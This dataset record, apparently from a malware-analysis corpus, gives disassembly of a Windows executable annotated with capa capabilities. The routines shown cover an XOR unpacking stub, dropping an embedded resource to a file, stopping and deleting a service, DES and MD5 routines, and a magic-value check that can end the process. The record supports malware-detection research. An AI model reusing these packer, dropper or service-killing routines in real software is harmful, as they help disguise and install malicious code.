joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x76b17920
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1515643c
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x404560
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x426020]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edx
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push ecx
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4045b2
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c8e9
mov esp, ebp
pop ebp
ret
push edi
movzx eax, si
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
lea ecx, [ebp - 8]
push ecx
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c8e9
mov esp, ebp
pop ebp
ret
Function at 0x404ac0
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ecx
lea ecx, [ebp - 4]
call fcn.00401130
mov eax, dword [eax]
test eax, eax
je 0x404ad9
mov eax, dword [eax]
jmp 0x404adb
xor eax, eax
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, dword [ebp - 4]
mov ebx, eax
test esi, esi
je 0x404b31
lea ecx, [esi + 8]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
jne 0x404b31
test esi, esi
je 0x404b31
mov eax, dword [esi]
test eax, eax
je 0x404b11
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x404b28
push eax
call fcn.0040c8f8
add esp, 4
mov dword [esi + 4], 0
push esi
call fcn.0040c8f8
add esp, 4
test ebx, ebx
jns 0x404b3d
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
not bl
movzx eax, bl
shr eax, 4
pop esi
and eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405aa0
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x426020]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0xf003f
push 0
push 0
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0x405aef
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.OpenSCManager___Faild__d____n
call fcn.0040d625
add esp, 8
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c8e9
mov esp, ebp
pop ebp
ret
push edi
push str.OpenSCManager___ok____n
call fcn.0040d625
add esp, 4
push 0xf01ff
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x405b2e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.OpenService___Faild__d____n
call fcn.0040d625
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esp, 8
xor edi, edi
jmp 0x405ba9
push str.OpenService___ok____n
call fcn.0040d625
add esp, 4
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x405b64
call edi
push eax
push str.ControlService___Faild__d___n
call fcn.0040d625
add esp, 8
jmp 0x405b71
push str.ControlService___ok___n
call fcn.0040d625
add esp, 4
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x405b8e
call edi
push eax
push str.DeleteSrevice___Faild__d___n
call fcn.0040d625
add esp, 8
jmp 0x405b9b
push str.DelServer:eleteSrevice___ok___n
call fcn.0040d625
add esp, 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, 1
call esi
push ebx
call esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c8e9
mov esp, ebp
pop ebp
ret
Function at 0x405fe0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x422c74
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ebx, dword [ebp + 0x10]
mov ecx, 0x41d2b8
mov edx, dword [ebp + 0xc]
mov edi, 0xc
mov esi, edx
mov dword [ebx], 0
lea esp, [esp]
mov eax, dword [ecx]
cmp eax, dword [esi]
jne 0x406035
add ecx, 4
add esi, 4
sub edi, 4
jae 0x406010
mov ecx, dword [ebp + 8]
mov dword [ebx], ecx
push ecx
mov eax, dword [ecx]
call dword [eax + 4]
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 0xc
mov ecx, 0x41d2c8
mov esi, 0xc
nop
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x406065
add ecx, 4
add edx, 4
sub esi, 4
jae 0x406040
mov ecx, dword [ebp + 8]
mov dword [ebx], ecx
push ecx
mov eax, dword [ecx]
call dword [eax + 4]
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 0xc
pop edi
pop esi
mov eax, 0x80004001
pop ebx
pop ebp
ret 0xc

Function at 0x406140
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x426020]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0x422cf8
call edi
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x4061f6
mov eax, dword [ecx]
lea edx, [ebp - 0x208]
push edx
push 0x422e34
push ecx
call dword [eax]
xor esi, esi
test eax, eax
cmovns esi, dword [ebp - 0x208]
jns 0x406195
cmp eax, 0x80004002
jne 0x40620a
test esi, esi
je 0x4061f6
mov eax, dword [esi]
lea ecx, [ebp - 0x208]
push ecx
push esi
call dword [eax + 0x4c]
push dword [ebp - 0x208]
lea eax, [ebp - 0x204]
push 0x422d08
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x204]
push eax
call edi
cmp dword [ebp - 0x208], 4
jne 0x4061f0
push 0
push 0
push 0x401
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageW]
push 0x422d48
call edi
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0040c8e9
mov esp, ebp
pop ebp
ret 0x24
push eax
call fcn.0040c320
int3
Function at 0x407200
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
mov eax, dword [0x426020]
xor eax, esp
mov dword [esp + 0x90], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x40733a
test eax, eax
je 0x40733a
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40733a
push ecx
push eax
lea eax, [esp + 0x18]
mov byte [esp + 0x74], 0
xorps xmm0, xmm0
mov dword [esp + 0x7d], 0
push eax
movq qword [esp + 0x79], xmm0
mov word [esp + 0x85], 0
mov byte [esp + 0x87], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x1c], 0x67452301
mov dword [esp + 0x20], 0xefcdab89
mov dword [esp + 0x24], 0x98badcfe
mov dword [esp + 0x28], 0x10325476
call fcn.00406920
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x70]
push eax
call fcn.004069f0
mov ebx, esi
xor edi, edi
movzx eax, byte [esp + edi + 0x6c]
xorps xmm0, xmm0
push eax
push 0x422e44
lea eax, [esp + 0x84]
mov byte [esp + 0x84], 0
push 0x20
push eax
movdqu xmmword [esp + 0x8d], xmm0
mov dword [esp + 0xa5], 0
movq qword [esp + 0x9d], xmm0
mov word [esp + 0xa9], 0
mov byte [esp + 0xab], 0
call fcn.0040d849
mov ax, word [esp + 0x8c]
lea ebx, [ebx + 2]
inc edi
mov word [ebx - 2], ax
add esp, 0x10
cmp edi, 0x10
jl 0x4072b5
cmp byte [esi], 0
je 0x40733a
mov al, byte [esi]
cmp al, 0x41
jb 0x407334
cmp al, 0x5a
ja 0x407334
add al, 0x20
mov byte [esi], al
inc esi
cmp byte [esi], 0
jne 0x407326
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040c8e9
mov esp, ebp
pop ebp
ret 0xc

Function at 0x407600
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x426020]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x3f
lea eax, [ebp - 0x7b]
mov byte [ebp - 0x7c], 0
push 0
push eax
mov edi, ecx
call fcn.0040e360
mov esi, dword [ebp + 8]
add esp, 0xc
xor edx, edx
lea ecx, [ecx]
mov eax, edx
mov ecx, edx
shr eax, 3
and ecx, 7
movsx eax, byte [eax + esi]
shl eax, cl
sar eax, 7
and al, 1
mov byte [ebp + edx - 0x7c], al
inc edx
cmp edx, 0x40
jb 0x407630
push 0x37
lea eax, [ebp - 0x3b]
mov byte [ebp - 0x3c], 0
push 0
push eax
call fcn.0040e360
add esp, 0xc
xor eax, eax
jmp 0x407670
movsx ecx, byte [eax + 0x423170]
movzx ecx, byte [ebp + ecx - 0x7d]
mov byte [ebp + eax - 0x3c], cl
movsx ecx, byte [eax + 0x423171]
movzx ecx, byte [ebp + ecx - 0x7d]
mov byte [ebp + eax - 0x3b], cl
movsx ecx, byte [eax + 0x423172]
movzx ecx, byte [ebp + ecx - 0x7d]
mov byte [ebp + eax - 0x3a], cl
movsx ecx, byte [eax + 0x423173]
mov dl, byte [ebp + ecx - 0x7d]
mov byte [ebp + eax - 0x39], dl
add eax, 4
cmp eax, 0x38
jl 0x407670
push ecx
lea eax, [ebp - 0x3c]
mov ecx, edi
push eax
call fcn.00407ae0
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040c8e9
mov esp, ebp
pop ebp
ret 8
Function at 0x4076e0
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x426020]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x3f
lea eax, [ebp - 0x63]
mov byte [ebp - 0x64], 0
push 0
push eax
mov edi, ecx
call fcn.0040e360
push 0x3f
lea eax, [ebp - 0xe3]
mov byte [ebp - 0xe4], 0
push 0
push eax
call fcn.0040e360
push 0x3f
lea eax, [ebp - 0xa3]
push 0
push eax
call fcn.0040e360
mov esi, dword [ebp + 8]
add esp, 0x24
xor edx, edx
mov eax, edx
mov ecx, edx
shr eax, 3
and ecx, 7
movsx eax, byte [eax + esi]
shl eax, cl
sar eax, 7
and al, 1
mov byte [ebp + edx - 0x64], al
inc edx
cmp edx, 0x40
jb 0x407738
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.00407e70
movdqu xmm0, xmmword [ebp - 0xe4]
xor esi, esi
movdqu xmmword [ebp - 0x44], xmm0
movdqu xmm0, xmmword [ebp - 0xd4]
movdqu xmmword [ebp - 0x34], xmm0
movdqu xmm0, xmmword [ebp - 0xc4]
movdqu xmmword [ebp - 0x24], xmm0
movdqu xmm0, xmmword [ebp - 0xb4]
movdqu xmmword [ebp - 0x14], xmm0
lea ecx, [ecx]
push ecx
mov eax, 0xf
mov ecx, edi
sub eax, esi
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00407cf0
inc esi
cmp esi, 0x10
jl 0x4077a0
movdqu xmm0, xmmword [ebp - 0x24]
xor eax, eax
movdqu xmmword [ebp - 0xa4], xmm0
movdqu xmm0, xmmword [ebp - 0x14]
movdqu xmmword [ebp - 0x94], xmm0
movdqu xmm0, xmmword [ebp - 0x44]
movdqu xmmword [ebp - 0x84], xmm0
movdqu xmm0, xmmword [ebp - 0x34]
movdqu xmmword [ebp - 0x74], xmm0
movsx ecx, byte [eax + 0x422e60]
movzx ecx, byte [ebp + ecx - 0xa5]
mov byte [edi + eax + 0x640], cl
movsx ecx, byte [eax + 0x422e61]
movzx ecx, byte [ebp + ecx - 0xa5]
mov byte [edi + eax + 0x641], cl
movsx ecx, byte [eax + 0x422e62]
movzx ecx, byte [ebp + ecx - 0xa5]
mov byte [edi + eax + 0x642], cl
movsx ecx, byte [eax + 0x422e63]
movzx ecx, byte [ebp + ecx - 0xa5]
mov byte [edi + eax + 0x643], cl
add eax, 4
cmp eax, 0x40
jl 0x4077f1
xorps xmm0, xmm0
mov ebx, 1
movq qword [edi + 0x688], xmm0
lea eax, [ebx - 1]
mov ecx, 7
and eax, 7
lea edx, [ebx - 1]
sub ecx, eax
shr edx, 3
movzx eax, byte [ebx + edi + 0x63f]
shl al, cl
mov ecx, 7
or byte [edx + edi + 0x688], al
mov eax, ebx
and eax, 7
mov edx, ebx
sub ecx, eax
shr edx, 3
movzx eax, byte [ebx + edi + 0x640]
shl al, cl
mov ecx, 7
or byte [edx + edi + 0x688], al
lea edx, [ebx + 1]
movzx eax, byte [ebx + edi + 0x641]
mov esi, edx
and edx, 7
shr esi, 3
sub ecx, edx
lea edx, [ebx + 2]
shl al, cl
mov ecx, 7
or byte [esi + edi + 0x688], al
mov esi, edx
movzx eax, byte [ebx + edi + 0x642]
and edx, 7
shr esi, 3
sub ecx, edx
add ebx, 4
shl al, cl
or byte [esi + edi + 0x688], al
lea eax, [ebx - 1]
cmp eax, 0x40
jb 0x407861
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c8e9
mov esp, ebp
pop ebp
ret 8
Function at 0x407ae0
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x426020]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x3b], xmm0
push ebx
movq qword [ebp - 0x2b], xmm0
mov eax, dword [edx + 0x18]
movdqu xmmword [ebp - 0x1f], xmm0
mov dword [ebp - 0x40], eax
mov eax, dword [edx + 0x34]
movq qword [ebp - 0xf], xmm0
movdqu xmm0, xmmword [edx]
mov dword [ebp - 0x5c], eax
xor eax, eax
inc ecx
mov byte [ebp - 0x3c], 0
movdqu xmmword [ebp - 0x58], xmm0
push esi
movq xmm0, qword [edx + 0x10]
movq qword [ebp - 0x48], xmm0
movdqu xmm0, xmmword [edx + 0x1c]
mov word [ebp - 0x23], 0
mov byte [ebp - 0x21], 0
movdqu xmmword [ebp - 0x74], xmm0
mov byte [ebp - 0x20], 0
movq xmm0, qword [edx + 0x2c]
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
movq qword [ebp - 0x64], xmm0
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb4], ecx
push edi
mov edi, edi
movsx ebx, byte [eax + 0x423130]
mov esi, 0x1c
sub esi, ebx
lea eax, [ebp - 0x58]
add eax, ebx
push esi
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.0040e470
push ebx
lea eax, [ebp - 0x58]
mov edi, ebx
push eax
neg edi
lea eax, [ebp - 0x20]
add eax, edi
push eax
call fcn.0040e470
lea eax, [ebp - 0x74]
add eax, ebx
push esi
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.0040e470
push ebx
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 4]
add eax, edi
push eax
call fcn.0040e470
push 0x37
lea eax, [ebp - 0xab]
push 0
push eax
call fcn.0040e360
movdqu xmm0, xmmword [ebp - 0x3c]
mov esi, dword [ebp - 0x24]
add esp, 0x3c
movdqu xmm2, xmmword [ebp - 0x20]
xor eax, eax
mov edi, dword [ebp - 8]
movq xmm1, qword [ebp - 0x2c]
movq xmm3, qword [ebp - 0x10]
mov edx, dword [ebp - 0xb4]
movdqu xmmword [ebp - 0xac], xmm0
mov dword [ebp - 0x94], esi
movq qword [ebp - 0x9c], xmm1
movdqu xmmword [ebp - 0x90], xmm2
mov dword [ebp - 0x78], edi
movq qword [ebp - 0x80], xmm3
lea ecx, [ecx]
movsx ecx, byte [eax + 0x423140]
movzx ecx, byte [ebp + ecx - 0xad]
mov byte [edx + eax - 1], cl
movsx ecx, byte [eax + 0x423141]
movzx ecx, byte [ebp + ecx - 0xad]
mov byte [edx + eax], cl
movsx ecx, byte [eax + 0x423142]
movzx ecx, byte [ebp + ecx - 0xad]
mov byte [edx + eax + 1], cl
movsx ecx, byte [eax + 0x423143]
movzx ecx, byte [ebp + ecx - 0xad]
mov byte [edx + eax + 2], cl
movsx ecx, byte [eax + 0x423144]
movzx ecx, byte [ebp + ecx - 0xad]
mov byte [edx + eax + 3], cl
movsx ecx, byte [eax + 0x423145]
movzx ecx, byte [ebp + ecx - 0xad]
mov byte [edx + eax + 4], cl
add eax, 6
cmp eax, 0x30
jl 0x407c20
mov eax, dword [ebp - 0xb0]
add edx, 0x30
inc eax
movq qword [ebp - 0x48], xmm1
mov dword [ebp - 0x40], esi
movq qword [ebp - 0x64], xmm3
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb4], edx
movdqu xmmword [ebp - 0x58], xmm0
movdqu xmmword [ebp - 0x74], xmm2
cmp eax, 0x10
jl 0x407b70
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c8e9
mov esp, ebp
pop ebp
ret 8
Function at 0x407e70
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
mov ecx, 0x4230f3
mov edx, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, 0x4230f0
mov dword [ebp + 0xc], 0x10
mov edi, 0x4230f1
mov ebx, 0x4230f2
sub esi, eax
sub edi, eax
sub ebx, eax
sub ecx, eax
mov dword [ebp - 4], ecx
dec dword [ebp + 0xc]
lea eax, [eax + 4]
movsx ecx, byte [esi + eax - 4]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 4], cl
movsx ecx, byte [edi + eax - 4]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 3], cl
movsx ecx, byte [ebx + eax - 4]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 2], cl
mov ecx, dword [ebp - 4]
movsx ecx, byte [ecx + eax - 4]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 1], cl
jne 0x407ea3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x407ef0
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
mov ecx, 0x4230c3
mov edx, dword [ebp + 8]
sub ecx, eax
push ebx
mov dword [ebp - 4], ecx
mov ebx, 0x4230c2
push esi
mov ecx, 0x4230c4
mov dword [ebp + 0xc], 8
sub ecx, eax
mov esi, 0x4230c0
push edi
mov dword [ebp - 8], ecx
mov edi, 0x4230c1
mov ecx, 0x4230c5
sub esi, eax
sub edi, eax
sub ebx, eax
sub ecx, eax
mov dword [ebp - 0xc], ecx
lea esp, [esp]
dec dword [ebp + 0xc]
lea eax, [eax + 6]
movsx ecx, byte [esi + eax - 6]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 6], cl
movsx ecx, byte [edi + eax - 6]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 5], cl
movsx ecx, byte [ebx + eax - 6]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 4], cl
mov ecx, dword [ebp - 4]
movsx ecx, byte [ecx + eax - 6]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 3], cl
mov ecx, dword [ebp - 8]
movsx ecx, byte [ecx + eax - 6]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 2], cl
mov ecx, dword [ebp - 0xc]
movsx ecx, byte [ecx + eax - 6]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 1], cl
jne 0x407f40
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x407fb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
sub esp, 0x10
xor ecx, ecx
test edx, edx
je 0x408095
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 8]
cmp edx, 0x20
jb 0x408075
lea eax, [ebx - 1]
add eax, edx
cmp esi, eax
ja 0x407fee
lea eax, [esi - 1]
add eax, edx
cmp eax, ebx
jae 0x408075
lea eax, [edi - 1]
add eax, edx
cmp esi, eax
ja 0x408000
lea eax, [esi - 1]
add eax, edx
cmp eax, edi
jae 0x408075
mov eax, edx
mov dword [ebp - 4], edx
mov edx, esi
and eax, 0x1f
sub dword [ebp - 4], eax
sub edx, edi
mov dword [ebp - 8], edx
mov eax, edi
mov edx, ebx
sub edx, edi
mov dword [ebp - 0xc], edx
mov edx, esi
mov esi, dword [ebp - 8]
sub edx, ebx
mov edi, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
lea edx, [ebx + 0x10]
jmp 0x408030
movdqu xmm0, xmmword [eax]
mov ebx, dword [ebp - 0x10]
add ecx, 0x20
lea eax, [eax + 0x20]
lea edx, [edx + 0x20]
movdqu xmm1, xmmword [edi + eax - 0x20]
pxor xmm1, xmm0
movdqu xmmword [esi + eax - 0x20], xmm1
movdqu xmm1, xmmword [eax - 0x10]
movdqu xmm0, xmmword [edx - 0x20]
pxor xmm1, xmm0
movdqu xmmword [ebx + edx - 0x20], xmm1
mov ebx, dword [ebp + 0xc]
cmp ecx, dword [ebp - 4]
jb 0x408030
mov edx, dword [ebp + 0x10]
mov esi, dword [ebp + 0x14]
mov edi, dword [ebp + 8]
cmp ecx, edx
jae 0x408092
sub edi, ebx
lea eax, [ecx + ebx]
sub esi, ebx
sub edx, ecx
mov cl, byte [edi + eax]
lea eax, [eax + 1]
xor cl, byte [eax - 1]
mov byte [eax + esi - 1], cl
dec edx
jne 0x408082
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x408170
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
mov ecx, 0x422ea3
mov edx, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, 0x422ea0
mov dword [ebp + 0xc], 8
mov edi, 0x422ea1
mov ebx, 0x422ea2
sub esi, eax
sub edi, eax
sub ebx, eax
sub ecx, eax
mov dword [ebp - 4], ecx
dec dword [ebp + 0xc]
lea eax, [eax + 4]
movsx ecx, byte [esi + eax - 4]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 4], cl
movsx ecx, byte [edi + eax - 4]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 3], cl
movsx ecx, byte [ebx + eax - 4]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 2], cl
mov ecx, dword [ebp - 4]
movsx ecx, byte [ecx + eax - 4]
movzx ecx, byte [ecx + edx - 1]
mov byte [eax - 1], cl
jne 0x4081a3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x409830
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push ecx
mov esi, ecx
mov ecx, esp
push 0x423214
call fcn.00401090
mov ecx, esi
call fcn.00409260
mov ecx, esi
call fcn.00409690
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantInit]
test eax, eax
je 0x40989e
mov eax, dword [eax]
test eax, eax
je 0x40989e
push eax
call edi
cmp eax, 0xa
jb 0x40989e
mov ecx, esi
call fcn.00409f00
push 0
push 0
push esi
push 0x40aed0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x48], eax
mov eax, 1
mov dword [esi + 0x4c], 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4098e2
mov eax, dword [eax]
test eax, eax
je 0x4098e2
push eax
call edi
cmp eax, 1
jne 0x4098e2
mov edi, dword [esi + 0x10]
test edi, edi
je 0x4098cf
cmp dword [edi + 4], 0
jne 0x4098ca
push dword [edi]
call fcn.0040c3c0
mov dword [edi + 4], eax
mov eax, dword [edi + 4]
jmp 0x4098d1
xor eax, eax
push 1
push eax
call fcn.0040d9f7
add esp, 4
push eax
call fcn.0040b440
pop edi
mov dword [esi + 0x4c], 0
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40ad10
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c738
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x426020]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
push str.PE98389WCVH
lea ecx, [ebx + 0xc]
call fcn.00401240
mov ecx, ebx
call fcn.00409690
push 0x408
call fcn.0040c97c
mov esi, eax
add esp, 4
test esi, esi
je 0x40ad93
push 0x408
push 0
push esi
call fcn.0040e360
mov ecx, dword [ebx + 0x10]
add esp, 8
mov eax, esp
mov dword [eax], ecx
test ecx, ecx
je 0x40ad88
lea eax, [ecx + 8]
mov ecx, 1
lock xadd dword [eax], ecx
mov ecx, esi
call fcn.004085d0
mov esi, eax
jmp 0x40ad95
xor esi, esi
push ecx
mov ecx, esp
push 0x4231cc
call fcn.00401090
mov ecx, esi
call fcn.00408790
cmp dword [esi + 0x400], 1
jle 0x40aebf
push 1
lea eax, [ebp - 0x14]
mov ecx, esi
push eax
call fcn.00408740
mov dword [ebp - 4], 0
mov edi, dword [eax]
test edi, edi
je 0x40ade5
cmp dword [edi + 4], 0
jne 0x40ade0
push dword [edi]
call fcn.0040c3c0
mov dword [edi + 4], eax
mov eax, dword [edi + 4]
jmp 0x40ade7
xor eax, eax
push eax
call fcn.0040d9f7
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov edi, dword [ebp - 0x14]
cmp eax, 0x1337a12
setne dl
mov byte [ebp - 0xd], dl
test edi, edi
je 0x40ae50
lea eax, [edi + 8]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
jne 0x40ae50
test edi, edi
je 0x40ae50
mov eax, dword [edi]
test eax, eax
je 0x40ae2d
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x40ae44
push eax
call fcn.0040c8f8
add esp, 4
mov dword [edi + 4], 0
push edi
call fcn.0040c8f8
mov dl, byte [ebp - 0xd]
add esp, 4
push 0
test dl, dl
je 0x40ae7f
push 0x422704
push str.Hr_g
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, esi
call fcn.00408650
push esi
call fcn.0040c8f8
add esp, 4
push 0
call fcn.0040d4dc
lea eax, [ebp - 0x18]
mov ecx, esi
push eax
call fcn.00408740
push eax
lea ecx, [ebx + 0x60]
call fcn.00407360
lea ecx, [ebp - 0x18]
call fcn.004011e0
mov ecx, esi
call fcn.00408650
push esi
call fcn.0040c8f8
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x422704
push 0x4232e0
jmp 0x40ae60